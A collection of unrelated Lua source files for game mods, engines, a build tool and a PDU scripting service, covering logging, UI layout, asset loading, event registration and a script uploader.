local Log = llbc.newclass('llbc.Log') local type = type local getinfo = debug.getinfo local traceback = debug.traceback local LogMsg = _llbc.LogMsg -- Log levels enumeration. Log.DEBUG = 0 Log.INFO = 1 Log.WARN = 2 Log.ERROR = 3 Log.FATAL = 4 -- logFileInfo: to control output message included file&line information or not, default is false. Log.logFileInfo = false -- defaultFileInfo: use to fill <file> <line> param on output message, must be function, default is nil, Log.defaultFileInfo = nil -- defaultLogTag: use to fill <tag> param on output message, can set to string or function, default is nil. Log.defaultLogTag = nil -- constructor, do not call. function Log.ctor() error('now allow to instantiate Log instance') end -- Initialize Log component. -- @param[required] cfgFile - log init config file. -- @param[optional] logFileinfo - log file info or not, default is false. -- @returns - no return. function Log.init(cfgFile, logFileInfo) _llbc.InitLog(cfgFile) if logFileInfo then Log.logFileInfo = true end end -- Check Log init or log. -- @returns boolean - init flag. function Log.isinit() return _llbc.IsLogInit() end local ROOT_LOGGER = "root" local _logsLevel = {} local function _canOutput(level, logger) local logLevel = _logsLevel[logger or ROOT_LOGGER] if not logLevel then logLevel = _llbc.GetLogLevel(logger) _logsLevel[logger or ROOT_LOGGER] = logLevel end return level >= logLevel end -- Output message to logger. -- @param level - logger level. -- @param logger - logger name, default is root logger. -- @param tag - log tag, default is nil. -- @param ... - log message. -- @returns - no return. function Log.output(level, logger, tag, ...) if not _canOutput(level, logger) then return end local file, line if Log.logFileInfo then local defaultFileInfo = Log.defaultFileInfo if defaultFileInfo then file, line = defaultFileInfo() else local di = getinfo(3, 'Sl') file, line = di.source, di.currentline end end if not tag then local defaultLogTag = Log.defaultLogTag if defaultLogTag then if type(defaultLogTag) == 'function' then tag = defaultLogTag() else tag = defaultLogTag end end end if level >= 3 then -- For improve Log performance, explicit use Log Level value to perform if condition judge. LogMsg(level, logger, tag, file, line, ..., traceback(3)) else LogMsg(level, logger, tag, file, line, ...) end end local output = Log.output -- Log DEBUG level message to root logger. -- @param ... - log message. -- @returns - no return. function Log.d(...) output(0, nil, nil, ...) end -- Log DEBUG level message to specific logger. -- @param[optional] logger - logger name, default is root logger. -- @param ... - log message. -- @returns - no return. function Log.d2(logger, ...) output(0, logger, nil, ...) end -- Log DEBUG level message to specific logger, and append tag. -- @param[optional] logger - logger name, default is root logger. -- @param[optional] tag - log tag, default is nil. -- @param ... - log message. -- @returns - no return. function Log.d3(logger, tag, ...) output(0, logger, tag, ...) end -- Log INFO level message to root logger. -- @param ... - log message. -- @returns - no return. function Log.i(...) output(1, nil, nil, ...) end -- Log INFO level message to specific logger. -- @param[optional] logger - logger name, default is root logger. -- @param ... - log message. -- @returns - no return. function Log.i2(logger, ...) output(1, logger, nil, ...) end -- Log INFO level message to specific logger, and append tag. -- @param[optional] logger - logger name, default is root logger. -- @param[optional] tag - log tag, default is nil. -- @param ... - log message. -- @returns - no return. function Log.i3(logger, tag, ...) output(1, logger, tag, ...) end -- Log WARN level message to root logger. -- @param ... - log message. -- @returns - no return. function Log.w(...) output(2, nil, nil, ...) end -- Log WARN level message to specific logger. -- @param[optional] logger - logger name, default is root logger. -- @param ... - log message. -- @returns - no return. function Log.w2(logger, ...) output(2, logger, nil, ...) end -- Log WARN level message to specific logger. -- @param[optional] logger - logger name, default is root logger. -- @param[optional] tag - log tag, default is nil. -- @param ... - log message. -- @returns - no return. function Log.w3(logger, tag, ...) output(2, logger, tag, ...) end -- Log ERROR level message to root logger. -- @param ... - log message. -- @returns - no return. function Log.e(...) output(3, nil, nil, ...) end -- Log ERROR level message to specific logger. -- @param[optional] logger - logger name, default is root logger. -- @param ... - log message. -- @returns - no return. function Log.e2(logger, ...) output(3, logger, nil, ...) end -- Log ERROR level message to specific logger, and append tag. -- @param[optional] logger - logger name, default is root logger. -- @param[optional] tag - log tag, default is nil. -- @param ... - log message. -- @returns - no return. function Log.e3(logger, tag, ...) output(3, logger, tag, ...) end -- Log FATAL level message to root logger. -- @param ... - log message. -- @returns - no return. function Log.f(...) output(4, nil, nil, ...) end -- Log FATAL level message to specific logger. -- @param[optional] logger - logger name, default is root logger. -- @param ... - log message. -- @returns - no return. function Log.f2(logger, ...) output(4, logger, nil, ...) end -- Log FATAL level message to specific logger, and append tag. -- @param[optional] logger - logger name, default is root logger. -- @param[optional] tag - log tag, default is nil. -- @param ... - log message. -- @returns - no return. function Log.f3(logger, tag, ...) output(4, logger, tag, ...) end -- Set Log table to llbc llbc.Log = Log
-- enlarges and enhances the recipe book so you can see what you do local addonName, addon, _ = ... local recipebook = addon:NewModule('RecipeBook', 'AceEvent-3.0') -- GLOBALS: _G, LibStub, TRADE_SKILLS_DISPLAYED -- GLOBALS: CreateFrame, PlaySound, TradeSkillOnlyShowMakeable, TradeSkillOnlyShowSkillUps, TradeSkillUpdateFilterBar -- GLOBALS: hooksecurefunc, pairs, select local floor = math.floor local function UpdateScrollFrameWidth(self) local scrollFrame = self:GetParent() local skillName, _, reqText, _, headerLeft, _, description, _ = scrollFrame:GetScrollChild():GetRegions() if self:IsShown() then scrollFrame:SetPoint('BOTTOMRIGHT', -32, 28) headerLeft:SetTexCoord(0, 0.5, 0, 1) else scrollFrame:SetPoint('BOTTOMRIGHT', -5, 28) headerLeft:SetTexCoord(0, 0.6, 0, 1) end local newWidth = scrollFrame:GetWidth() scrollFrame:GetScrollChild():SetWidth(newWidth) scrollFrame:UpdateScrollChildRect() -- text don't stretch properly without fixed width description:SetWidth(newWidth - 5) skillName:SetWidth(newWidth - 50) reqText:SetWidth(newWidth - 5) end local function OnTradeSkillFrame_SetSelection(index) local scrollFrame = _G.TradeSkillDetailScrollFrame scrollFrame:SetVerticalScroll(0) local skillName, reqLabel, reqText, cooldown, headerLeft, headerRight, description, reagentLabel = scrollFrame:GetScrollChild():GetRegions() if description:GetText() == ' ' then description:SetText(nil) end if not cooldown:GetText() then cooldown:SetHeight(-10) end -- add a section for required items reqLabel:SetTextColor(reagentLabel:GetTextColor()) reqLabel:SetShadowColor(reagentLabel:GetShadowColor()) cooldown:ClearAllPoints() cooldown:SetPoint('TOPLEFT', description, 'BOTTOMLEFT', 0, -10) reqLabel:SetPoint('TOPLEFT', cooldown, 'BOTTOMLEFT', 0, -10) reqText:SetPoint('TOPLEFT', reqLabel, 'BOTTOMLEFT', 0, 0) reagentLabel:SetPoint('TOPLEFT', reqText, 'BOTTOMLEFT', 0, -10) -- TODO: display reagent tooltip only when hovering item (via :SetHitRectInsets(left, right, top, bottom)) end --[[ Size references: ReforgingFrame => 428 x 430 TradeSkillFrame => 540 x 468 PaperDollFrame => 540 x 424 --]] local function Initialize() local frame = _G.TradeSkillFrame frame:SetSize(540, 450) -- recipe list area local list = _G.TradeSkillListScrollFrame list:ClearAllPoints() list:SetPoint('TOPLEFT', 0, -83) list:SetPoint('BOTTOMRIGHT', '$parent', 'BOTTOMLEFT', 300, 28) -- create additional rows since scroll frame area grew local numRows = floor((frame:GetHeight() - 83 - 28) / _G.TRADE_SKILL_HEIGHT) for index = TRADE_SKILLS_DISPLAYED+1, numRows do local row = CreateFrame('Button', 'TradeSkillSkill'..index, frame, 'TradeSkillSkillButtonTemplate', index) row:SetPoint('TOPLEFT', _G['TradeSkillSkill'..(index-1)], 'BOTTOMLEFT') row.skillup:Hide() row.SubSkillRankBar:Hide() row:SetNormalTexture('') _G['TradeSkillSkill'..index..'Highlight']:SetTexture('') end if numRows ~= _G.TRADE_SKILLS_DISPLAYED then _G.TRADE_SKILLS_DISPLAYED = numRows end -- previewing created items for index = 1, numRows do _G['TradeSkillSkill'..index]:HookScript('OnClick', function(self) local result = GetTradeSkillItemLink(self:GetID()) if IsEquippableItem(result) and IsModifiedClick('DRESSUP') then DressUpItemLink(result) end end) end -- detail/reagent panel local details = _G.TradeSkillDetailScrollFrame details:ClearAllPoints() details:SetPoint('TOPLEFT', list, 'TOPRIGHT', 28, 0) details:SetPoint('BOTTOMRIGHT', -5, 28) details.ScrollBar:HookScript('OnShow', UpdateScrollFrameWidth) details.ScrollBar:HookScript('OnHide', UpdateScrollFrameWidth) -- hide top-bottom separator local sepLeft, sepRight = select(21, frame:GetRegions()) sepLeft:Hide(); sepRight:Hide() -- move bottom action buttons _G.TradeSkillCreateAllButton:SetPoint('BOTTOMLEFT', 'TradeSkillCreateButton', 'BOTTOMLEFT', -167, 0) -- stretching the scroll bars for _, scrollFrame in pairs({list, details}) do local topScrollBar, bottomScrollBar = scrollFrame:GetRegions() local middleScrollBar = scrollFrame.ScrollBar:CreateTexture(nil, 'BACKGROUND') middleScrollBar:SetTexture('Interface\\PaperDollInfoFrame\\UI-Character-ScrollBar') middleScrollBar:SetTexCoord(0, 0.46875, 0.03125, 0.9609375) middleScrollBar:SetPoint('TOPLEFT', topScrollBar, 'TOPLEFT', 1, 0) middleScrollBar:SetPoint('BOTTOMRIGHT', bottomScrollBar, 'TOPRIGHT', 0, 0) end -- sidebar/craft details changes local background = details:CreateTexture(nil, 'BACKGROUND') background:SetTexture('Interface\\ACHIEVEMENTFRAME\\UI-ACHIEVEMENT-PARCHMENT') background:SetTexCoord(0.5, 1, 0, 1) background:SetAllPoints() local skillName, reqLabel, reqText, cooldown, headerLeft, headerRight, description, reagentLabel = details:GetScrollChild():GetRegions() headerRight:ClearAllPoints() headerRight:SetPoint('TOPRIGHT', 20-5, 3-5) headerLeft:SetPoint('BOTTOMRIGHT', headerRight, 'BOTTOMLEFT') headerLeft:SetTexCoord(0, 0.6, 0, 1) for _, region in pairs({headerLeft, _G.TradeSkillSkillIcon, skillName}) do local point, relativeTo, relativePoint, xOffset, yOffset = region:GetPoint() region:SetPoint(point, relativeTo, relativePoint, xOffset + 2, yOffset - 5) end local sideBarWidth = details:GetWidth() skillName:SetNonSpaceWrap(true) skillName:SetWidth(sideBarWidth - 50) description:SetNonSpaceWrap(true) description:SetWidth(sideBarWidth - 5) description:SetPoint('TOPLEFT', 5, -55) reqText:SetWidth(sideBarWidth - 5) -- move reagents below one another and widen buttons for index = 1, _G.MAX_TRADE_SKILL_REAGENTS do local button = _G['TradeSkillReagent'..index] local nameFrame = _G['TradeSkillReagent'..index..'NameFrame'] nameFrame:SetPoint('RIGHT', 3, 0) local itemName = button.name or button.Name itemName:SetPoint('LEFT', nameFrame, 'LEFT', 20, 0) itemName:SetPoint('RIGHT', nameFrame, 'RIGHT', -5, 0) if index ~= 1 then button:ClearAllPoints() button:SetPoint('TOPLEFT', _G['TradeSkillReagent'..(index-1)], 'BOTTOMLEFT', 0, -2) end local _, _, _, _, yOffset = button:GetPoint() button:SetPoint('TOPRIGHT', 0+5, yOffset) end -- add search hints and basic improvements local searchBox = _G.TradeSkillFrameSearchBox searchBox.tiptext = 'Search in recipe, item or reagent names or in item descriptions.\nitem level ± 2: "~123"\nitem level range: "123 - 456"' searchBox.searchIcon = _G.TradeSkillFrameSearchBoxSearchIcon searchBox:SetScript('OnEnter', addon.ShowTooltip) searchBox:SetScript('OnLeave', addon.HideTooltip) searchBox:SetScript('OnEditFocusLost', _G.SearchBoxTemplate_OnEditFocusLost) searchBox:SetScript('OnEditFocusGained', _G.SerachBoxTemplate_OnEditFocusGained) -- add missing clear search button local clearButton = CreateFrame('Button', '$parentClearButton', searchBox) clearButton:SetSize(17, 17) clearButton:SetPoint('RIGHT', -3, 0) clearButton:Hide() clearButton:SetScript('OnEnter', function(self) self.texture:SetAlpha(1) end) clearButton:SetScript('OnLeave', function(self) self.texture:SetAlpha(0.5) end) clearButton:SetScript('OnClick', function(self, btn, up) PlaySound('igMainMenuOptionCheckBoxOn') local editBox = self:GetParent() editBox:SetText('') editBox:ClearFocus() if editBox.clearFunc then editBox.clearFunc(editBox) end if not editBox:HasFocus() then editBox:GetScript('OnEditFocusLost')(editBox) end end) local clearIcon = clearButton:CreateTexture(nil, 'OVERLAY') clearIcon:SetTexture('Interface\\FriendsFrame\\ClearBroadcastIcon') clearIcon:SetAllPoints() clearIcon:SetAlpha(0.5) clearButton.texture = clearIcon searchBox.clearButton = clearButton -- add quick filters local hasMaterials = CreateFrame('CheckButton', '$parentHasMaterials', frame, 'UICheckButtonTemplate') hasMaterials:SetPoint('LEFT', 'TradeSkillLinkButton', 'RIGHT', 10, 0) hasMaterials:SetSize(24, 24) local hasMatLabel = hasMaterials:CreateFontString(nil, nil, 'GameFontNormal') hasMatLabel:SetPoint('LEFT', hasMaterials, 'RIGHT', 2, 0) hasMatLabel:SetText(_G.CRAFT_IS_MAKEABLE) hasMaterials:SetHitRectInsets(-5, -10 - hasMatLabel:GetStringWidth(), -2, -2) hooksecurefunc('TradeSkillOnlyShowMakeable', function(enable) hasMaterials:SetChecked(enable) end) hasMaterials:SetScript('OnClick', function(self, btn, up) local enable = self:GetChecked() frame.filterTbl.hasMaterials = enable TradeSkillOnlyShowMakeable(enable) TradeSkillUpdateFilterBar() end) local hasSkillUp = CreateFrame('CheckButton', '$parentHasSkillUp', frame, 'UICheckButtonTemplate') hasSkillUp:SetPoint('TOPLEFT', '$parentHasMaterials', 'BOTTOMLEFT', 0, -2) hasSkillUp:SetSize(24, 24) local hasSkillLabel = hasSkillUp:CreateFontString(nil, nil, 'GameFontNormal') hasSkillLabel:SetPoint('LEFT', hasSkillUp, 'RIGHT', 2, 0) hasSkillLabel:SetText(_G.TRADESKILL_FILTER_HAS_SKILL_UP) hasSkillUp:SetHitRectInsets(-5, -10 - hasSkillLabel:GetStringWidth(), -2, -2) hooksecurefunc('TradeSkillOnlyShowSkillUps', function(enable) hasSkillUp:SetChecked(enable) end) hasSkillUp:SetScript('OnClick', function(self, btn, up) local enable = self:GetChecked() frame.filterTbl.hasSkillUp = enable TradeSkillOnlyShowSkillUps(enable) TradeSkillUpdateFilterBar() end) frame.hasMaterials, frame.hasSkillUp = hasMaterials, hasSkillUp hooksecurefunc('TradeSkillUpdateFilterBar', function(subName, slotName, ignore) if ignore then return end -- don't list "hasMaterials" or "hasSkillUp" in the filter bar local hasMaterials, hasSkillUp = frame.filterTbl.hasMaterials, frame.filterTbl.hasSkillUp frame.filterTbl.hasMaterials = false frame.filterTbl.hasSkillUp = false TradeSkillUpdateFilterBar(subName, slotName, true) frame.filterTbl.hasMaterials = hasMaterials frame.filterTbl.hasSkillUp = hasSkillUp end) end local function OnRetrievingFrameUpdate(self, elapsed) if IsTradeSkillReady() then TradeSkillFrame_Update() end end -- we're loading together with Blizzard_TradeSkillUI, initialize immediately Initialize() hooksecurefunc('TradeSkillFrame_SetSelection', OnTradeSkillFrame_SetSelection) hooksecurefunc('TradeSkillRetrievingFrame_OnUpdate', OnRetrievingFrameUpdate)
--[[ Generated with https://github.com/TypeScriptToLua/TypeScriptToLua ]] require("lualib_bundle"); local ____exports = {} ____exports.ContentManager = __TS__Class() local ContentManager = ____exports.ContentManager ContentManager.name = "ContentManager" function ContentManager.prototype.____constructor(self, base_url) self.audio_formats = { "wav", "mp3", "ogg", "oga", "ogv", "699", "amf", "ams", "dbm", "dmf", "dsm", "far", "it", "j2b", "mdl", "med", "mod", "mt2", "mtm", "okt", "psm", "s3m", "stm", "ult", "umx", "xm", "abc", "mid", "pat", "flac" } self.audio_cache = {} self.image_formats = { "jpg", "jpeg", "png", "bmp", "tga", "hdr", "pic", "exr" } self.image_data_cache = {} self.font_formats = {"ttf", "otf", "ttc"} self.font_cache = {} self.shader_formats = { "vert", "tesc", "tese", "geom", "frag", "comp" } self.shader_cache = {} self.base_url = base_url end function ContentManager.prototype.resolveAssetsPath(self, domain, filename, valid_formats, domain_displayname) for ____, format in ipairs(valid_formats) do local filepath = (((((self.base_url .. "/") .. domain) .. "/") .. filename) .. ".") .. format if love.filesystem.getInfo(filepath, "file") then return filepath end end error( __TS__New(Error, ((((((("Could not find " .. (domain_displayname or domain)) .. " file with filename \"") .. filename) .. "\" in ") .. self.base_url) .. "/") .. domain) .. " folder"), 0 ) end function ContentManager.prototype.getSource(self, filename, ____type) local filaname_and_type = (filename .. "?type=") .. ____type if self.audio_cache[filaname_and_type] then return self.audio_cache[filaname_and_type] end self.audio_cache[filaname_and_type] = love.audio.newSource( self:resolveAssetsPath("audio", filename, self.audio_formats), ____type ) return self.audio_cache[filaname_and_type] end function ContentManager.prototype.getImageData(self, filename) if self.image_data_cache[filename] then return self.image_data_cache[filename] end self.image_data_cache[filename] = love.image.newImageData(self:resolveAssetsPath("images", filename, self.image_formats, "image")) return self.image_data_cache[filename] end function ContentManager.prototype.getFont(self, filename, size, hint) if hint == nil then hint = "normal" end local filename_and_size_hint = (((filename .. "?size=") .. tostring(size)) .. "&hint=") .. hint if self.font_cache[filename_and_size_hint] then return self.font_cache[filename_and_size_hint] end self.font_cache[filename_and_size_hint] = love.graphics.newFont( self:resolveAssetsPath("fonts", filename, self.font_formats, "font"), size, hint ) return self.font_cache[filename_and_size_hint] end function ContentManager.prototype.getShader(self, filename) if self.shader_cache[filename] then return self.shader_cache[filename] end self.shader_cache[filename] = love.graphics.newShader(self:resolveAssetsPath("shaders", filename, self.shader_formats, "shader")) return self.shader_cache[filename] end return ____exports
--!A cross-platform build utility based on Lua -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. -- -- Copyright (C) 2015-present, TBOOX Open Source Group. -- -- @author ruki -- @file xmake.lua -- -- define rule: yacc rule("yacc") set_extensions(".y", ".yy") before_buildcmd_file(function (target, batchcmds, sourcefile_yacc, opt) -- get yacc import("lib.detect.find_tool") local yacc = assert(find_tool("bison") or find_tool("yacc"), "yacc/bison not found!") -- get c/c++ source file for yacc local extension = path.extension(sourcefile_yacc) local sourcefile_cx = path.join(target:autogendir(), "rules", "yacc_yacc", path.basename(sourcefile_yacc) .. ".tab" .. (extension == ".yy" and ".cpp" or ".c")) -- add objectfile local objectfile = target:objectfile(sourcefile_cx) table.insert(target:objectfiles(), objectfile) -- add includedirs local sourcefile_dir = path.directory(sourcefile_cx) target:add("includedirs", sourcefile_dir) -- add commands batchcmds:show_progress(opt.progress, "${color.build.object}compiling.yacc %s", sourcefile_yacc) batchcmds:mkdir(sourcefile_dir) batchcmds:vrunv(yacc.program, {"-d", "-o", sourcefile_cx, sourcefile_yacc}) batchcmds:compile(sourcefile_cx, objectfile) -- add deps batchcmds:add_depfiles(sourcefile_yacc) batchcmds:set_depmtime(os.mtime(objectfile)) batchcmds:set_depcache(target:dependfile(objectfile)) end)
require "scripts.core.ability" require "scripts.core.projectile" --require "gamemode.Spark.modifiers.modifier_runic_burst"; local DebugRenderer = Require("debugRenderer") Legendarium = class(Ability) function Legendarium:OnCreated () self:RegisterVariable("max_range", self:GetSpecialValue("range")) self:RegisterVariable("cast_time", 0.0) self:RegisterVariable("cast_point", 1.5) self:RegisterVariable("range", self:GetSpecialValue("range")) self:SetCastingBehavior(CastingBehavior(CastingBehavior.POINT_TARGET)) self.UnitsNotificationsHandler = UnitsNotificationBus.Connect(self) end function Legendarium:OnSpellStart() local target = self:GetCursorPosition() local caster = self:GetCaster() local origin = self:GetCursorPosition() --[[CreateTimer(function() local duration = self:GetSpecialValue("duration") local radius = self:GetSpecialValue("aoe") self.thinker = ModifiersHandler:CreateModifierThinker(caster,self,"modifier_legendarium",{duration=duration,radius=20},target) AttachParticleSystem(self.thinker, "heroes.astromage.w_quasar") DebugRenderer.DrawAura(self.thinker,Color(1,0,0,0.4),duration) self.TriggerArea = TriggerAreaNotificationBus.Connect(self, GetId(self.thinker)) end,0.5);]] end function Legendarium:OnTriggerAreaEntered(unitId) end function Legendarium:OnTriggerAreaExited(entityId) if entityId == self:GetCaster():GetId() then self.thinker:Destroy() GameEntityContextRequestBus.Broadcast.DestroyGameEntityAndDescendants(GetId(self.thinker)) self.thinker = nil self.TriggerArea:Disconnect() self.TriggerArea = nil Debug.Log("LOOK HERE FOR ON TRIGGER AREA EXITED !!") end end function Legendarium:OnDeactivate() if self.TriggerArea then self.TriggerArea:Disconnect() self.TriggerArea = nil end end return Legendarium
-- -- Please see the license file included with this distribution for -- attribution and copyright information. -- local bShowWounds = true; local bUpdating = false; local sTotal; local sWounds; local sLink = nil; -- For reasons known only to the Old Gods, and perhaps the Lunar Arcanum, -- the OptionsManager is sometimes a nil value during updateDisplayMode, so a local reference is needed. local optionsManager; function onInit() if super and super.onInit then super.onInit(); end local node = window.getDatabaseNode(); sTotal = node.getPath(sourceTotal[1]); sWounds = node.getPath(sourceWounds[1]); onSourceTotalUpdate(); DB.addHandler(sTotal, "onUpdate", onSourceTotalUpdate); DB.addHandler(sWounds, "onUpdate", onSourceWoundsUpdate); optionsManager = OptionsManager; updateDisplayMode() OptionsManager.registerCallback("HPDM", updateDisplayMode); end function onClose() DB.removeHandler(sTotal, "onUpdate", onSourceTotalUpdate) DB.removeHandler(sWounds, "onUpdate", onSourceWoundsUpdate) if sLink then DB.removeHandler(sLink, "onUpdate", onLinkUpdated); end end function onDrop(x, y, draginfo) if Session.IsHost then if draginfo.getType() == "number" then local node = window.getDatabaseNode(); local rActor = ActorManager.getActorFromCT(node); ActionDamage.applyDamage(nil, rActor, CombatManager.isCTHidden(node), draginfo.getDescription(), draginfo.getNumberData()); return true; end return false; end end function onSourceTotalUpdate() if bUpdating then return; end local nTotal = DB.getValue(sTotal, 0); setMaxValue(nTotal); bUpdating = true; if not bShowWounds then local nWounds = DB.getValue(sWounds, 0); setValue(nTotal - nWounds); end update(); bUpdating = false; end function onSourceWoundsUpdate() if bUpdating then return; end bUpdating = true; local nWounds = DB.getValue(sWounds, 0); if bShowWounds then setValue(nWounds); else local nTotal = DB.getValue(sTotal, 0); setValue(nTotal - nWounds); end if sLink and not isReadOnly() then DB.setValue(sLink, "number", nWounds); end update(); bUpdating = false; end function onValueChanged() if bUpdating or isReadOnly() then return; end bUpdating = true; local nWounds; if bShowWounds then nWounds = getValue() else local nTotal = DB.getValue(sTotal, 0); local nCurrent = getValue(); nWounds = nTotal - nCurrent; end if sLink then DB.setValue(sLink, "number", nWounds); end DB.setValue(sWounds, "number", nWounds); update(); bUpdating = false; end function onLinkUpdated() if bUpdating or isReadOnly() then return; end bUpdating = true; local nWounds = DB.getValue(sLink, 0); if bShowWounds then setValue(nWounds); else local nTotal = DB.getValue(sTotal, 0); setValue(nTotal - nWounds); end DB.setValue(sWounds, "number", nWounds); update(); bUpdating = false; end function setLink(dbnode, bLock) if sLink then DB.removeHandler(sLink, "onUpdate", onLinkUpdated); sLink = nil; end if dbnode then sLink = dbnode.getNodeName(); if not nolinkwidget then addBitmapWidget("field_linked").setPosition("bottomright", 0, -2); end if bLock == true then setReadOnly(true); end DB.addHandler(sLink, "onUpdate", onLinkUpdated); onLinkUpdated(); end end function update() window.onHealthChanged(); end function updateDisplayMode() bShowWounds = optionsManager.isOption("HPDM", ""); if bUpdating then return; end bUpdating = true; if bShowWounds then setValue(DB.getValue(sWounds, 0)); else local nTotal = DB.getValue(sTotal, 0); local nWounds = DB.getValue(sWounds, 0); setValue(nTotal - nWounds); end bUpdating = false; end
-- This script allows to register multiple functions as Solarus events. -- -- Usage: -- -- Just require() this script and then all Solarus types -- will have a register_event() method that adds an event callback. -- -- Example: -- -- local multi_events = require("scripts/multi_events") -- -- -- Register two callbacks for the game:on_started() event: -- game:register_event("on_started", my_function) -- game:register_event("on_started", another_function) -- -- -- It even works on metatables! -- game_meta:register_event("on_started", my_function) -- game_meta:register_event("on_started", another_function) -- -- The good old way of defining an event still works -- (but you cannot mix both approaches on the same object): -- function game:on_started() -- -- Some code. -- end -- -- Limitations: -- -- Menus are regular Lua tables and not a proper Solarus type. -- They can also support multiple events, but to do so you first have -- to enable the feature explicitly like this: -- multi_events:enable(my_menu) -- Note that sol.main does not have this constraint even if it is also -- a regular Lua table. local multi_events = {} --create the base function that looks at the metatable remaining events local function mt_trampoline(obj,event_name) local mt = getmetatable(obj) if mt then return function(...) local pf = mt[event_name] or function() end return pf(...) end end return function() end end -- get actual '_events' field of the object -- cannot use rawget because object could be a meta data local function get_events(object) local mt = getmetatable(object) local events = object._events if mt and events == mt._events then return {} end return events or {} end local function safe_rawget(object,key) if type(object) == 'table' then return rawget(object,key) else -- see if the object is a solarus userdata and perform the 'rawget' local objtable = debug.getregistry()['sol.userdata_tables'][obj] if objtable then return objtable[key] end end end local function register_event(object, event_name, callback, first) local events = get_events(object) if (not events[event_name]) and safe_rawget(object,event_name) then --a callback was registered without register_event --insert mt_trampoline behind it --print("[Warning] using register event after a regular :on_ setting") local unregistered = object[event_name] local tramp = mt_trampoline(object,event_name) object[event_name] = function(...) return unregistered(...) or tramp(...) end end object._events = nil --remove events to allow modification events[event_name] = true --set event as registered local previous_callbacks = object[event_name] or mt_trampoline(object,event_name) if first then object[event_name] = function(...) return callback(...) or previous_callbacks(...) end else object[event_name] = function(...) return previous_callbacks(...) or callback(...) end end object._events = events end -- Adds the multi event register_event() feature to an object -- (userdata, userdata metatable or table). function multi_events:enable(object) object.register_event = register_event local old_newindex = object.__newindex or rawset function object.__newindex(t,k,v) local events = get_events(t) if events and events[k] then error(string.format("overriding '%s', a event previously registered with 'register_event'",k)) else old_newindex(t,k,v) end end end local types = { "game", "map", "item", "surface", "text_surface", "sprite", "timer", "movement", "straight_movement", "target_movement", "random_movement", "path_movement", "random_path_movement", "path_finding_movement", "circle_movement", "jump_movement", "pixel_movement", "hero", "dynamic_tile", "teletransporter", "destination", "pickable", "destructible", "carried_object", "chest", "shop_treasure", "enemy", "npc", "block", "jumper", "switch", "sensor", "separator", "wall", "crystal", "crystal_block", "stream", "door", "stairs", "bomb", "explosion", "fire", "arrow", "hookshot", "boomerang", "camera", "custom_entity" } -- Add the register_event function to all userdata types. for _, type in ipairs(types) do local meta = sol.main.get_metatable(type) assert(meta ~= nil) multi_events:enable(meta) end -- Also add it to sol.main (which is a regular table). multi_events:enable(sol.main) return multi_events
local energy_source = require("prototypes.parts.energy_source") function oreCleaner(args) local name = args.name local speed = args.speed local energy = args.energy local modSlots = args.modSlots local ingredients = args.ingredients local iconTint = args.iconTint local entityTint = args.entityTint local health = args.health local entity = table.deepcopy(data.raw["assembling-machine"]["chemical-plant"]) local item = table.deepcopy(data.raw.item["chemical-plant"]) local recipe = table.deepcopy(data.raw.recipe["chemical-plant"]) local icon = {{ icon=item.icon, tint=iconTint }} item.name = name item.place_result = name item.icons = icon entity.name = name entity.crafting_speed = speed entity.crafting_categories = {"t-clean-nuclear"} entity.minable = {mining_time = 2, result = name} entity.energy_source = { type = "electric", -- will produce this much * energy pollution units per tick emissions = 0.001, usage_priority = "secondary-input" } entity.energy_usage = energy entity.max_health = health entity.module_specification = { module_slots = modSlots } for k, v in pairs(entity.animation.north.layers) do v.tint = entityTint end for k, v in pairs(entity.animation.south.layers) do v.tint = entityTint end for k, v in pairs(entity.animation.east.layers) do v.tint = entityTint end for k, v in pairs(entity.animation.west.layers) do v.tint = entityTint end recipe.enabled = false recipe.name = name recipe.normal = nil recipe.expensive = nil recipe.ingredients = ingredients recipe.energy_required = 60 recipe.requester_paste_multiplier = 2 if (TurboFactory.Debug) then recipe.enabled = true recipe.ingredients = { {"iron-plate",1}, } end recipe.result = name recipe.icons = icon recipe.icon_size = 32 data:extend({entity, recipe, item}) -- body end local mk1 = { name = "radioactive-cleaner", speed = 5, energy = "900kW", modSlots = 0, ingredients = { {"pipe", 500}, {"processing-unit",20}, {"steel-plate",120}, {"concrete",500}, }, iconTint = {r=0.5,g=0.8,b=1,a=0.8}, entityTint = {r=0.5,g=0.8,b=1,a=1}, health = 3000, prerequisites = nil, science_count = nil } oreCleaner(mk1) table.insert(data.raw.technology["clean-nuclear-ore"].effects, { type = "unlock-recipe", recipe = mk1.name })
-- SPDX-License-Identifier: BSD-3-Clause -- -- Copyright 2016 Raritan Inc. All rights reserved. -- Uploads a script to switch off outlets after delay. You specify the outlet -- and delay time at the script arguments. require "LuaService" require "Pdu" -- the name of the Lua script to upload local newScriptFileName = "switchOff.lua" -- the name used to reference on LuaService local newScriptName = "switchOff" -- newScriptOptions will contain our script options local newScriptOptions = {} -- at least there must be a empty table called defaultArgs newScriptOptions.defaultArgs = {} newScriptOptions.autoRestart = false newScriptOptions.autoStart = false -- open a file and read its content local newFile = io.open(newScriptFileName) local newScript = newFile:read("*a") -- get the LuaService manager local lsManager = luaservice.Manager:getDefault() -- upload the new script local errorCode = lsManager:setScript(newScriptName, newScript, newScriptOptions) print("uploading script '" .. newScriptName .. "' returns with code: " .. errorCode) -- exit and signal success local pdu = pdumodel.Pdu:getDefault() local beeper = pdu:getBeeper() beeper:activate(true, "finished uploading", 100) os.exit(0)
